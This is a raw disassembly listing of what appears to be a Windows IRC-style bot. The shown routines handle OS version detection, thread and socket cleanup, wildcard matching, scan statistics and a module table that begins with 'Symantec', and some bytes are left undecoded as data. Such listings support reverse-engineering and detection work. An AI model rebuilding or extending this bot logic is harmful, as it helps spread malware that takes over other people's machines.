mov esi, offset aNt_0 ; "NT"
jmp short loc_40AE5C
; ---------------------------------------------------------------------------
loc_40AE00: ; CODE XREF: seg000:0040ADE0j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AE10
mov esi, offset a98 ; "98"
jmp short loc_40AE5C
; ---------------------------------------------------------------------------
loc_40AE10: ; CODE XREF: seg000:0040AE07j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AE57
mov esi, offset aMe_0 ; "ME"
jmp short loc_40AE5C
; ---------------------------------------------------------------------------
loc_40AE20: ; CODE XREF: seg000:0040ADD7j
cmp dword ptr [ebp-90h], 5
jnz short loc_40AE57
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AE39
mov esi, offset a2k ; "2K"
jmp short loc_40AE5C
; ---------------------------------------------------------------------------
loc_40AE39: ; CODE XREF: seg000:0040AE30j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AE49
mov esi, offset aXp_0 ; "XP"
jmp short loc_40AE5C
; ---------------------------------------------------------------------------
loc_40AE49: ; CODE XREF: seg000:0040AE40j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_40AE5C
loc_40AE57: ; CODE XREF: seg000:0040AE17j
; seg000:0040AE27j
mov esi, offset a??? ; "???"
loc_40AE5C: ; CODE XREF: seg000:0040ADF7j
; seg000:0040ADFEj ...
mov edi, [ebp+8]
push esi
push offset aS_4 ; "[%s]|"
push 1Ch
push edi
call sub_41BB70
xor esi, esi
add esp, 10h
cmp ds:dword_42A09C, esi
jle short loc_40AEA0
loc_40AE7A: ; CODE XREF: seg000:0040AE9Ej
call sub_41BAD2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42CB18
push 1Ch
push edi
call sub_41BB70
add esp, 14h
inc esi
cmp esi, ds:dword_42A09C
jl short loc_40AE7A
loc_40AEA0: ; CODE XREF: seg000:0040AE78j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEA6 proc near ; CODE XREF: sub_40AF07+5Dp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
call ds:dword_4280A8 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
cmp eax, 64h
jbe short loc_40AED4
push eax
push offset aD_2 ; "[%d]"
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41BB70
add esp, 10h
loc_40AED4: ; CODE XREF: sub_40AEA6+18j
lea eax, [ebp+var_1C]
push eax
call sub_41B1D0
cmp eax, 2
pop ecx
jbe short loc_40AF02
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41C3D0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41B7E0
add esp, 18h
loc_40AF02: ; CODE XREF: sub_40AEA6+3Bj
mov eax, [ebp+arg_0]
leave
retn
sub_40AEA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF07 proc near ; CODE XREF: sub_401875+7Fp
; sub_4019DB+43p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
xor esi, esi
loc_40AF10: ; CODE XREF: sub_40AF07+40j
cmp [ebp+arg_C], 0
jz short loc_40AF2E
lea eax, aReal[esi] ; "real"
push eax
push [ebp+arg_C]
call sub_41C260
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AF3C
; ---------------------------------------------------------------------------
loc_40AF2E: ; CODE XREF: sub_40AF07+Dj
mov ecx, ds:dword_42EC24[esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40AF3C: ; CODE XREF: sub_40AF07+25j
test eax, eax
jnz short loc_40AF4B
add esi, 14h
inc edi
cmp esi, 78h
jb short loc_40AF10
jmp short loc_40AF59
; ---------------------------------------------------------------------------
loc_40AF4B: ; CODE XREF: sub_40AF07+37j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call ds:off_42EC28[eax*4]
pop ecx
loc_40AF59: ; CODE XREF: sub_40AF07+42j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40AF6C
push [ebp+arg_0]
call sub_40AEA6
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AF6C: ; CODE XREF: sub_40AF07+58j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40AF07 endp
; =============== S U B R O U T I N E =======================================
sub_40AF71 proc near ; CODE XREF: seg000:00402257p
; seg000:004024B4p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_440938
loc_40AF79: ; CODE XREF: sub_40AF71+18j
cmp byte ptr [eax], 0
jz short loc_40AF8D
add eax, 234h
inc edi
cmp eax, offset dword_4CD938
jl short loc_40AF79
jmp short loc_40AFD8
; ---------------------------------------------------------------------------
loc_40AF8D: ; CODE XREF: sub_40AF71+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_440938[esi]
push eax
call sub_41B7E0
mov eax, [esp+14h+arg_4]
and ds:dword_440B3C[esi], 0
and ds:dword_440B40[esi], 0
mov ds:dword_440B38[esi], eax
mov eax, [esp+14h+arg_8]
add esp, 0Ch
and ds:byte_440B50[esi], 0
mov ds:dword_440B44[esi], eax
pop esi
loc_40AFD8: ; CODE XREF: sub_40AF71+1Aj
mov eax, edi
pop edi
retn
sub_40AF71 endp
; ---------------------------------------------------------------------------
dword_40AFDC dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh
; DATA XREF: seg000:00404441o
dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh
dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 266E8h, 14C48300h
dd 0D5E8006Ah, 0BE00704Fh, 8B555E5Fh, 0EC81ECh, 56000002h
dd 0FF006A57h, 14681075h, 0FF00432Ah, 75FF0C75h, 0E918E808h
dd 0C483FFFFh, 0BEFF3314h, 440938h, 74003E80h, 147D833Ch
dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h
dd 42D85068h, 0F7E85000h, 6A000109h, 858D01h, 0FFFFFFFEh
dd 0FF501075h, 75FF0C75h, 0E8D0E808h, 0C483FFFFh, 34C68124h
dd 47000002h, 0D938FE81h, 0B07C004Ch, 0C3C95E5Fh
; =============== S U B R O U T I N E =======================================
sub_40B0AC proc near ; CODE XREF: seg000:00409589p
; sub_40B134+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B12E
cmp esi, 400h
jge short loc_40B12E
imul esi, 234h
push edi
push ebx
lea edi, dword_440B4C[esi]
push dword ptr [edi]
call near ptr 0B10000h
lds edi, [ecx]
pop ds
jz short loc_40B0DE
inc ebp
loc_40B0DE: ; CODE XREF: sub_40B0AC+2Fj
mov [edi], ebx
lea edi, dword_440B40[esi]
mov ds:dword_440B38[esi], ebx
mov ds:dword_440B3C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B0FF
push eax
call near ptr sub_419B94
pop ecx
loc_40B0FF: ; CODE XREF: sub_40B0AC+4Aj
mov [edi], ebx
lea edi, dword_440B44[esi]
mov byte ptr ds:dword_440938[esi], bl
mov ds:byte_440B50[esi], bl
push dword ptr [edi]
call ds:dword_4CDC90 ; closesocket
lea esi, dword_440B48[esi]
mov [edi], ebx
push dword ptr [esi]
call ds:dword_4CDC90 ; closesocket
mov [esi], ebx
pop edi
loc_40B12E: ; CODE XREF: sub_40B0AC+Dj
; sub_40B0AC+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B0AC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40B134 proc near ; CODE XREF: sub_401132+18p
; seg000:00404A41p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_440938
loc_40B140: ; CODE XREF: sub_40B134+2Aj
cmp byte ptr [esi], 0
jz short loc_40B151
push edi
call sub_40B0AC
test eax, eax
pop ecx
jz short loc_40B151
inc ebx
loc_40B151: ; CODE XREF: sub_40B134+Fj
; sub_40B134+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CD938
jl short loc_40B140
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B134 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B166 proc near ; CODE XREF: seg000:00405C75p
; seg000:00405DC3p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_440B3C
loc_40B17A: ; CODE XREF: sub_40B166+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B19C
test edi, edi
jle short loc_40B18E
cmp [esi], edi
jz short loc_40B18E
cmp ebx, edi
jnz short loc_40B19C
loc_40B18E: ; CODE XREF: sub_40B166+1Ej
; sub_40B166+22j
push ebx
call sub_40B0AC
test eax, eax
pop ecx
jz short loc_40B19C
inc [ebp+var_4]
loc_40B19C: ; CODE XREF: sub_40B166+1Aj
; sub_40B166+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CDB3C
jl short loc_40B17A
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B166 endp
; =============== S U B R O U T I N E =======================================
sub_40B1B3 proc near ; CODE XREF: seg000:0040242Dp
; seg000:004037BCp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_440B38
loc_40B1BA: ; CODE XREF: sub_40B1B3+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B1C3
inc eax
loc_40B1C3: ; CODE XREF: sub_40B1B3+Dj
add ecx, 234h
cmp ecx, offset dword_4CDB38
jl short loc_40B1BA
retn
sub_40B1B3 endp
; =============== S U B R O U T I N E =======================================
sub_40B1D2 proc near ; CODE XREF: seg000:00403EA4p
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_440B38
push esi
loc_40B1DC: ; CODE XREF: sub_40B1D2+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B1F5
add ecx, 234h
inc edx
cmp ecx, offset dword_4CDB38
jl short loc_40B1DC
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B1F5: ; CODE XREF: sub_40B1D2+10j
mov eax, edx
pop esi
retn
sub_40B1D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B1F9 proc near ; CODE XREF: seg000:00402CFBp
; seg000:00402D19p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B212
push [ebp+arg_1C]
call sub_41B969
pop ecx
loc_40B212: ; CODE XREF: sub_40B1F9+Ej
push eax
push [ebp+arg_18]
call sub_40B166
pop ecx
test eax, eax
pop ecx
jle short loc_40B23E
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41BA76
add esp, 14h
jmp short loc_40B258
; ---------------------------------------------------------------------------
loc_40B23E: ; CODE XREF: sub_40B1F9+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41BA76
add esp, 10h
loc_40B258: ; CODE XREF: sub_40B1F9+43j
cmp [ebp+arg_C], 0
jnz short loc_40B278
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_40B278: ; CODE XREF: sub_40B1F9+63j
lea eax, [ebp+var_200]
push eax
call sub_4152AE
pop ecx
leave
retn
sub_40B1F9 endp
; =============== S U B R O U T I N E =======================================
sub_40B287 proc near ; CODE XREF: sub_401875+154p
; seg000:0040B8A3p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov ds:dword_440B4C[eax], ecx
mov ds:dword_440B38[eax], ecx
mov ds:dword_440B3C[eax], ecx
mov ds:dword_440B40[eax], ecx
mov ds:dword_440B44[eax], ecx
mov ds:dword_440B48[eax], ecx
mov byte ptr ds:dword_440938[eax], cl
mov ds:byte_440B50[eax], cl
retn
sub_40B287 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2C4 proc near ; CODE XREF: seg000:00409810p
; sub_40B3EC+61p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_40B326
; ---------------------------------------------------------------------------
loc_40B2D0: ; CODE XREF: sub_40B2C4+66j
cmp eax, 1
jnz short loc_40B337
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B337
cmp cl, 2Ah
jz short loc_40B30F
cmp cl, 3Fh
jz short loc_40B2F4
cmp cl, 5Bh
jz short loc_40B2F9
xor eax, eax
cmp cl, dl
setz al
loc_40B2F4: ; CODE XREF: sub_40B2C4+22j
inc [ebp+arg_4]
jmp short loc_40B322
; ---------------------------------------------------------------------------
loc_40B2F9: ; CODE XREF: sub_40B2C4+27j
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B358
mov esi, [ebp+arg_0]
jmp short loc_40B320
; ---------------------------------------------------------------------------
loc_40B30F: ; CODE XREF: sub_40B2C4+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B3EC
mov esi, [ebp+arg_0]
dec esi
loc_40B320: ; CODE XREF: sub_40B2C4+49j
pop ecx
pop ecx
loc_40B322: ; CODE XREF: sub_40B2C4+33j
inc esi
mov [ebp+arg_0], esi
loc_40B326: ; CODE XREF: sub_40B2C4+Aj
mov cl, [esi]
test cl, cl
jnz short loc_40B2D0
jmp short loc_40B337
; ---------------------------------------------------------------------------
loc_40B32E: ; CODE XREF: sub_40B2C4+76j
cmp eax, 1
jnz short loc_40B353
inc esi
mov [ebp+arg_0], esi
loc_40B337: ; CODE XREF: sub_40B2C4+Fj
; sub_40B2C4+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_40B32E
cmp eax, 1
jnz short loc_40B353
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B353
cmp byte ptr [esi], 0
jnz short loc_40B353
xor eax, eax
inc eax
jmp short loc_40B355
; ---------------------------------------------------------------------------
loc_40B353: ; CODE XREF: sub_40B2C4+6Dj
; sub_40B2C4+7Bj ...
xor eax, eax
loc_40B355: ; CODE XREF: sub_40B2C4+8Dj
pop esi
pop ebp
retn
sub_40B2C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B358 proc near ; CODE XREF: sub_40B2C4+41p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
xor eax, eax
mov ecx, [edx]
and [ebp+var_8], edi
inc eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B379
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B379: ; CODE XREF: sub_40B358+19j
push ebx
push esi
loc_40B37B: ; CODE XREF: sub_40B358+77j
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B389
cmp [ebp+var_4], eax
jnz short loc_40B3D1
loc_40B389: ; CODE XREF: sub_40B358+2Aj
test edi, edi
jnz short loc_40B3C6
cmp bl, 2Dh
jnz short loc_40B3BA
lea esi, [ecx+1]
mov cl, [ecx-1]
mov al, [esi]
cmp cl, al
jge short loc_40B3BA
cmp al, 5Dh
jz short loc_40B3BA
cmp [ebp+var_4], edi
jnz short loc_40B3BA
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B3C6
cmp bl, al
jg short loc_40B3C6
mov [edx], esi
jmp short loc_40B3C3
; ---------------------------------------------------------------------------
loc_40B3BA: ; CODE XREF: sub_40B358+38j
; sub_40B358+44j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B3C6
loc_40B3C3: ; CODE XREF: sub_40B358+60j
xor edi, edi
inc edi
loc_40B3C6: ; CODE XREF: sub_40B358+33j
; sub_40B358+58j ...
inc dword ptr [edx]
and [ebp+var_4], 0
xor eax, eax
inc eax
jmp short loc_40B37B
; ---------------------------------------------------------------------------
loc_40B3D1: ; CODE XREF: sub_40B358+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B3DE
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B3DE: ; CODE XREF: sub_40B358+7Ej
cmp edi, eax
jnz short loc_40B3E7
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B3E7: ; CODE XREF: sub_40B358+88j
mov eax, edi
pop edi
leave
retn
sub_40B358 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B3EC proc near ; CODE XREF: sub_40B2C4+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
xor ebx, ebx
jmp short loc_40B41C
; ---------------------------------------------------------------------------
loc_40B406: ; CODE XREF: sub_40B3EC+36j
mov dl, [eax]
cmp dl, 3Fh
jz short loc_40B417
cmp dl, 2Ah
jnz short loc_40B429
cmp dl, 3Fh
jnz short loc_40B41A
loc_40B417: ; CODE XREF: sub_40B3EC+1Fj
inc ecx
mov [edi], ecx
loc_40B41A: ; CODE XREF: sub_40B3EC+29j
inc dword ptr [esi]
loc_40B41C: ; CODE XREF: sub_40B3EC+18j
mov ecx, [edi]
mov eax, [esi]
cmp [ecx], bl
jnz short loc_40B406
jmp short loc_40B429
; ---------------------------------------------------------------------------
loc_40B426: ; CODE XREF: sub_40B3EC+40j
inc eax
mov [esi], eax
loc_40B429: ; CODE XREF: sub_40B3EC+24j
; sub_40B3EC+38j
cmp byte ptr [eax], 2Ah
jz short loc_40B426
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_40B44B
cmp [eax], bl
jz short loc_40B43E
xor eax, eax
jmp short loc_40B4A8
; ---------------------------------------------------------------------------
loc_40B43E: ; CODE XREF: sub_40B3EC+4Cj
cmp dl, bl
jnz short loc_40B44B
cmp [eax], bl
jnz short loc_40B44B
xor eax, eax
inc eax
jmp short loc_40B4A8
; ---------------------------------------------------------------------------
loc_40B44B: ; CODE XREF: sub_40B3EC+48j
; sub_40B3EC+54j ...
push ecx
push eax
call sub_40B2C4
pop ecx
test eax, eax
pop ecx
jnz short loc_40B492
loc_40B458: ; CODE XREF: sub_40B3EC+A4j
inc dword ptr [edi]
mov eax, [edi]
jmp short loc_40B46A
; ---------------------------------------------------------------------------
loc_40B45E: ; CODE XREF: sub_40B3EC+86j
cmp cl, 5Bh
jz short loc_40B474
cmp dl, bl
jz short loc_40B474
inc eax
mov [edi], eax
loc_40B46A: ; CODE XREF: sub_40B3EC+70j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jnz short loc_40B45E
loc_40B474: ; CODE XREF: sub_40B3EC+75j
; sub_40B3EC+79j
cmp [eax], bl
jz short loc_40B489
push eax
push dword ptr [esi]
call sub_40B2C4
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B48E
; ---------------------------------------------------------------------------
loc_40B489: ; CODE XREF: sub_40B3EC+8Aj
mov [ebp+var_4], ebx
xor eax, eax
loc_40B48E: ; CODE XREF: sub_40B3EC+9Bj
cmp eax, ebx
jnz short loc_40B458
loc_40B492: ; CODE XREF: sub_40B3EC+6Aj
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B4A5
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B4A5
mov [ebp+var_4], 1
loc_40B4A5: ; CODE XREF: sub_40B3EC+AAj
; sub_40B3EC+B0j
mov eax, [ebp+var_4]
loc_40B4A8: ; CODE XREF: sub_40B3EC+50j
; sub_40B3EC+5Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40B3EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4AD proc near ; CODE XREF: seg000:004045E6p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_432F38
push eax
xor ebx, ebx
call sub_41BA76
cmp ds:dword_432A90, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B51F
push esi
mov esi, offset dword_432A98
loc_40B4E0: ; CODE XREF: sub_40B4AD+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B515
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_432F2C
push eax
call sub_41BA76
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C3D0
add esp, 1Ch
loc_40B515: ; CODE XREF: sub_40B4AD+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B4E0
pop esi
loc_40B51F: ; CODE XREF: sub_40B4AD+2Bj
push ds:dword_4CD93C
call sub_41AA78
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41BA76
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C3D0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
lea eax, [ebp+var_200]
push eax
call sub_4152AE
add esp, 38h
pop edi
pop ebx
leave
retn
sub_40B4AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B57B proc near ; CODE XREF: seg000:004045D0p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, ds:dword_4D06F4
mov ecx, ds:dword_4D06F0
push esi
push ds:dword_4CD93C
lea esi, [ecx+eax]
call sub_41AA78
push eax
push esi
push ds:dword_4D06F4
lea eax, [ebp+var_200]
push ds:dword_4D06F0
push offset unk_432F58
push eax
call sub_41BA76
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
lea eax, [ebp+var_200]
push eax
call sub_4152AE
add esp, 34h
pop esi
leave
retn
sub_40B57B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5E6 proc near ; CODE XREF: seg000:004045BAp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push ds:dword_4CD93C
call sub_41AA78
push eax
lea eax, [ebp+var_200]
push ds:dword_4D0924
push offset unk_432FA0
push eax
call sub_41BA76
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
lea eax, [ebp+var_200]
push eax
call sub_4152AE
add esp, 2Ch
leave
retn
sub_40B5E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B63A proc near ; CODE XREF: seg000:004045A4p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BD10
push edi
lea eax, [ebp+var_800]
push offset dword_432FEC
push eax
call sub_41BA76
cmp ds:dword_432A90, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B6A6
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40B66F: ; CODE XREF: sub_40B63A+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_432FDC
push eax
call sub_41BA76
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C3D0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B66F
pop esi
loc_40B6A6: ; CODE XREF: sub_40B63A+2Dj
push ds:dword_4CD93C
call sub_41AA78
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41BA76
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C3D0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
lea eax, [ebp+var_800]
push eax
call sub_4152AE
add esp, 34h
pop edi
leave
retn
sub_40B63A endp
; ---------------------------------------------------------------------------
dword_40B700 dd 81EC8B55h, 3F0ECh, 8458B00h, 6A575653h, 59F08B4Bh, 0FECCBD8Dh
; DATA XREF: seg000:00404BF7o
dd 0A5F3FFFFh, 12880C7h, 10000h, 858D0000h, 0FFFFFECCh
dd 3815FF50h, 33004CDCh, 0F84589FFh, 2A903D39h, 7D890043h
dd 87D89FCh, 115840Fh, 90BE0000h, 0BB00432Ah, 432A68h
; ---------------------------------------------------------------------------
loc_40B754: ; CODE XREF: seg000:0040B859j
push dword ptr [ebp-1Ch]
push dword ptr [esi]
push dword ptr [ebp-8]
call sub_40BEF1
add esp, 0Ch
cmp eax, 1
jnz loc_40B84E
push dword ptr [esi]
lea eax, [ebp-134h]
push eax
lea eax, [ebx+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_43303C
push eax
call sub_41BA76
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409966
lea eax, [ebp-3F0h]
push eax
call sub_4152AE
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41BA76
lea eax, [ebp-15Ch]
push ebx
push eax
call sub_41BA76
add esp, 3Ch
cmp byte ptr [ebp-0A4h], 0
lea eax, [ebp-0A4h]
jnz short loc_40B7E9
lea eax, [ebp-124h]
loc_40B7E9: ; CODE XREF: seg000:0040B7E1j
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41BA76
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [esi]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+2Ch]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_40B84E: ; CODE XREF: seg000:0040B767j
inc dword ptr [ebp+8]
add ebx, 40h
lea esi, [ebx+28h]
cmp [esi], edi
jnz loc_40B754
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_433008
push eax
call sub_41BA76
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409966
lea eax, [ebp-3F0h]
push eax
call sub_4152AE
push dword ptr [ebp-18h]
call sub_40B287
add esp, 2Ch
push edi
; ---------------------------------------------------------------------------
dd 70474FE8h
db 0, 29h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8B2 proc near ; CODE XREF: seg000:00403EBFp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B1B3
test eax, eax
pop ecx
jle short loc_40B8EE
mov eax, [ebp+arg_C]
push ds:dword_4CDD38[eax*8]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_43308C
push eax
call sub_41BA76
add esp, 0Ch
jmp short loc_40B901
; ---------------------------------------------------------------------------
loc_40B8EE: ; CODE XREF: sub_40B8B2+13j
lea eax, [ebp+var_200]
push offset unk_43306C
push eax
call sub_41BA76
pop ecx
pop ecx
loc_40B901: ; CODE XREF: sub_40B8B2+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
